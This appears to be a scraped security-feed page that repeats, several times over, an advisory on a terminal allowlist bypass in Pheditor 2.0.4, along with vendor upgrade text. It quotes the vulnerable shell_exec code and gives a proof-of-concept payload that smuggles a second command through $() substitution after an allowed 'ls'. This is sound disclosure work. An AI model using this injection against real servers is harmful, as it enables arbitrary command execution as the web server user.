### Summary Pheditor 2.0.4 has an authenticated terminal command whitelist bypass. The terminal feature checks whether the submitted command starts with one of the configured `TERMINAL_COMMANDS` values, then passes the full command string to `shell_exec()`. Shell command substitution such as `$()` is not blocked, so an authenticated user with the `terminal` permission can bypass a restricted command allowlist and execute arbitrary shell commands as the web server user. ### Details Tested repository: https://github.com/pheditor/pheditor Tested commit: `62b43df7cb8956a9b0deb9bec278ca8676c890c5` Affected version: Pheditor 2.0.4 Relevant code in `pheditor.php`: - The terminal handler receives `$_POST['command']` and stores it in `$command`. - It blocks only `&`, `;`, and `||`. - It checks whether `$command` starts with one of the configured values in `TERMINAL_COMMANDS`. - It then passes the full command string to `shell_exec()`. Relevant logic: ```php $command = $_POST['command']; if (strpos($command, '&') !== false || strpos($command, ';') !== false || strpos($command, '||') !== false) { echo json_error("Illegal character(s) in command (& ; ||)\n"); exit; } foreach ($terminal_commands as $value) { $value = trim($value); if (strlen($command) >= strlen($value) && substr($command, 0, strlen($value)) == $value) { $command_found = true; break; } } $output = shell_exec((empty($dir) ? null : 'cd ' . escapeshellarg($dir) . ' && ') . $command . ' && echo \ ; pwd'); ``` Because the whitelist check is prefix-based and the full command is executed by a shell, a command such as `ls$(...)` passes when `ls` is allowed, while the command substitution is still executed by the shell. ### PoC This was reproduced locally with Docker and PHP 8.3. For a strict test, the configured command allowlist was changed to only allow `ls`: ```php define('TERMINAL_COMMANDS', 'ls'); ``` Control request: ```text command=whoami ``` Observed result: ```text Command not allowed Available commands: ls ``` Bypass request: ```text command=ls$(printf pheditor-terminal-bypass >/lab/app/site/proof.txt) ``` Observed result: ```text proof.txt is created with the content: pheditor-terminal-bypass ``` This shows that even when only `ls` is allowed, arbitrary shell commands can still be executed through command substitution. ### Impact An authenticated user with the `terminal` permission can bypass the intended `TERMINAL_COMMANDS` restriction and execute arbitrary shell commands as the web server user. This affects deployments where administrators rely on `TERMINAL_COMMANDS` to restrict terminal access to a small set of safe commands. Suggested fixes: - Avoid passing user-controlled command strings to `shell_exec()`. - Parse the command into executable and arguments. - Require an exact command name match instead of prefix matching. - Execute without a shell, for example with an argument-array based process API. - If shell execution remains necessary, reject shell metacharacters comprehensively, including command substitution syntax. - Consider disabling the terminal feature by default. Reporter credit requested: shanjijian <[email protected]>
### Summary Pheditor 2.0.4 has an authenticated terminal command whitelist bypass. The terminal feature checks whether the submitted command starts with one of the configured `TERMINAL_COMMANDS` values, then passes the full command string to `shell_exec()`. Shell command substitution such as `$()` is not blocked, so an authenticated user with the `terminal` permission can bypass a restricted command allowlist and execute arbitrary shell commands as the web server user. ### Details Tested repository: https://github.com/pheditor/pheditor Tested commit: `62b43df7cb8956a9b0deb9bec278ca8676c890c5` Affected version: Pheditor 2.0.4 Relevant code in `pheditor.php`: - The terminal handler receives `$_POST['command']` and stores it in `$command`. - It blocks only `&`, `;`, and `||`. - It checks whether `$command` starts with one of the configured values in `TERMINAL_COMMANDS`. - It then passes the full command string to `shell_exec()`. Relevant logic: ```php $command = $_POST['command']; if (strpos($command, '&') !== false || strpos($command, ';') !== false || strpos($command, '||') !== false) { echo json_error("Illegal character(s) in command (& ; ||)\n"); exit; } foreach ($terminal_commands as $value) { $value = trim($value); if (strlen($command) >= strlen($value) && substr($command, 0, strlen($value)) == $value) { $command_found = true; break; } } $output = shell_exec((empty($dir) ? null : 'cd ' . escapeshellarg($dir) . ' && ') . $command . ' && echo \ ; pwd'); ``` Because the whitelist check is prefix-based and the full command is executed by a shell, a command such as `ls$(...)` passes when `ls` is allowed, while the command substitution is still executed by the shell. ### PoC This was reproduced locally with Docker and PHP 8.3. For a strict test, the configured command allowlist was changed to only allow `ls`: ```php define('TERMINAL_COMMANDS', 'ls'); ``` Control request: ```text command=whoami ``` Observed result: ```text Command not allowed Available commands: ls ``` Bypass request: ```text command=ls$(printf pheditor-terminal-bypass >/lab/app/site/proof.txt) ``` Observed result: ```text proof.txt is created with the content: pheditor-terminal-bypass ``` This shows that even when only `ls` is allowed, arbitrary shell commands can still be executed through command substitution. ### Impact An authenticated user with the `terminal` permission can bypass the intended `TERMINAL_COMMANDS` restriction and execute arbitrary shell commands as the web server user. This affects deployments where administrators rely on `TERMINAL_COMMANDS` to restrict terminal access to a small set of safe commands. Suggested fixes: - Avoid passing user-controlled command strings to `shell_exec()`. - Parse the command into executable and arguments. - Require an exact command name match instead of prefix matching. - Execute without a shell, for example with an argument-array based process API. - If shell execution remains necessary, reject shell metacharacters comprehensively, including command substitution syntax. - Consider disabling the terminal feature by default. Reporter credit requested: shanjijian <[email protected]>
Update pheditor/pheditor to 2.0.5 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanPheditor has an authenticated terminal command whitelist bypass affects pheditor/pheditor (composer). Severity is high. ### Summary Pheditor 2.0.4 has an authenticated terminal command whitelist bypass. The terminal feature checks whether the submitted command starts with one of the configured `TERMINAL_COMMANDS` values, then passes the full command string to `shell_exec()`. Shell command substitution such as `$()` is not blocked, so an authenticated user with the `terminal` permission can bypass a restricted command allowlist and execute arbitrary shell commands as the web server user. ### Details Tested repository: https://github.com/pheditor/pheditor Tested commit: `62b43df7cb8956a9b0deb9bec278ca8676c890c5` Affected version: Pheditor 2.0.4 Relevant code in `pheditor.php`: - The terminal handler receives `$_POST['command']` and stores it in `$command`. - It blocks only `&`, `;`, and `||`. - It checks whether `$command` starts with one of the configured values in `TERMINAL_COMMANDS`. - It then passes the full command string to `shell_exec()`. Relevant logic: ```php $command = $_POST['command']; if (strpos($command, '&') !== false || strpos($command, ';') !== false || strpos($command, '||') !== false) { echo json_error("Illegal character(s) in command (& ; ||)\n"); exit; } foreach ($terminal_commands as $value) { $value = trim($value); if (strlen($command) >= strlen($value) && substr($command, 0, strlen($value)) == $value) { $command_found = true; break; } } $output = shell_exec((empty($dir) ? null : 'cd ' . escapeshellarg($dir) . ' && ') . $command . ' && echo \ ; pwd'); ``` Because the whitelist check is prefix-based and the full command is executed by a shell, a command such as `ls$(...)` passes when `ls` is allowed, while the command substitution is still executed by the shell. ### PoC This was reproduced locally with Docker and PHP 8.3. For a strict test, the configured command allowlist was changed to only allow `ls`: ```php define('TERMINAL_COMMANDS', 'ls'); ``` Control request: ```text command=whoami ``` Observed result: ```text Command not allowed Available commands: ls ``` Bypass request: ```text command=ls$(printf pheditor-terminal-bypass >/lab/app/site/proof.txt) ``` Observed result: ```text proof.txt is created with the content: pheditor-terminal-bypass ``` This shows that even when only `ls` is allowed, arbitrary shell commands can still be executed through command substitution. ### Impact An authenticated user with the `terminal` permission can bypass the intended `TERMINAL_COMMANDS` restriction and execute arbitrary shell commands as the web server user. This affects deployments where administrators rely on `TERMINAL_COMMANDS` to restrict terminal access to a small set of safe commands. Suggested fixes: - Avoid passing user-controlled command strings to `shell_exec()`. - Parse the command into executable and arguments. - Require an exact command name match instead of prefix matching. - Execute without a shell, for example with an argument-array based process API. - If shell execution remains necessary, reject shell metacharacters comprehensively, including command substitution syntax. - Consider disabling the terminal feature by default. Reporter credit requested: shanjijian <[email protected]>
AI coding agents often install or upgrade packages automatically in composer. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| pheditor/pheditorcomposer | <=2.0.4 | 2.0.5 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate pheditor/pheditor to 2.0.5 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanPheditor has an authenticated terminal command whitelist bypass affects pheditor/pheditor (composer). Severity is high. ### Summary Pheditor 2.0.4 has an authenticated terminal command whitelist bypass. The terminal feature checks whether the submitted command starts with one of the configured `TERMINAL_COMMANDS` values, then passes the full command string to `shell_exec()`. Shell command substitution such as `$()` is not blocked, so an authenticated user with the `terminal` permission can bypass a restricted command allowlist and execute arbitrary shell commands as the web server user. ### Details Tested repository: https://github.com/pheditor/pheditor Tested commit: `62b43df7cb8956a9b0deb9bec278ca8676c890c5` Affected version: Pheditor 2.0.4 Relevant code in `pheditor.php`: - The terminal handler receives `$_POST['command']` and stores it in `$command`. - It blocks only `&`, `;`, and `||`. - It checks whether `$command` starts with one of the configured values in `TERMINAL_COMMANDS`. - It then passes the full command string to `shell_exec()`. Relevant logic: ```php $command = $_POST['command']; if (strpos($command, '&') !== false || strpos($command, ';') !== false || strpos($command, '||') !== false) { echo json_error("Illegal character(s) in command (& ; ||)\n"); exit; } foreach ($terminal_commands as $value) { $value = trim($value); if (strlen($command) >= strlen($value) && substr($command, 0, strlen($value)) == $value) { $command_found = true; break; } } $output = shell_exec((empty($dir) ? null : 'cd ' . escapeshellarg($dir) . ' && ') . $command . ' && echo \ ; pwd'); ``` Because the whitelist check is prefix-based and the full command is executed by a shell, a command such as `ls$(...)` passes when `ls` is allowed, while the command substitution is still executed by the shell. ### PoC This was reproduced locally with Docker and PHP 8.3. For a strict test, the configured command allowlist was changed to only allow `ls`: ```php define('TERMINAL_COMMANDS', 'ls'); ``` Control request: ```text command=whoami ``` Observed result: ```text Command not allowed Available commands: ls ``` Bypass request: ```text command=ls$(printf pheditor-terminal-bypass >/lab/app/site/proof.txt) ``` Observed result: ```text proof.txt is created with the content: pheditor-terminal-bypass ``` This shows that even when only `ls` is allowed, arbitrary shell commands can still be executed through command substitution. ### Impact An authenticated user with the `terminal` permission can bypass the intended `TERMINAL_COMMANDS` restriction and execute arbitrary shell commands as the web server user. This affects deployments where administrators rely on `TERMINAL_COMMANDS` to restrict terminal access to a small set of safe commands. Suggested fixes: - Avoid passing user-controlled command strings to `shell_exec()`. - Parse the command into executable and arguments. - Require an exact command name match instead of prefix matching. - Execute without a shell, for example with an argument-array based process API. - If shell execution remains necessary, reject shell metacharacters comprehensively, including command substitution syntax. - Consider disabling the terminal feature by default. Reporter credit requested: shanjijian <[email protected]>
AI coding agents often install or upgrade packages automatically in composer. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| pheditor/pheditorcomposer | <=2.0.4 | 2.0.5 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard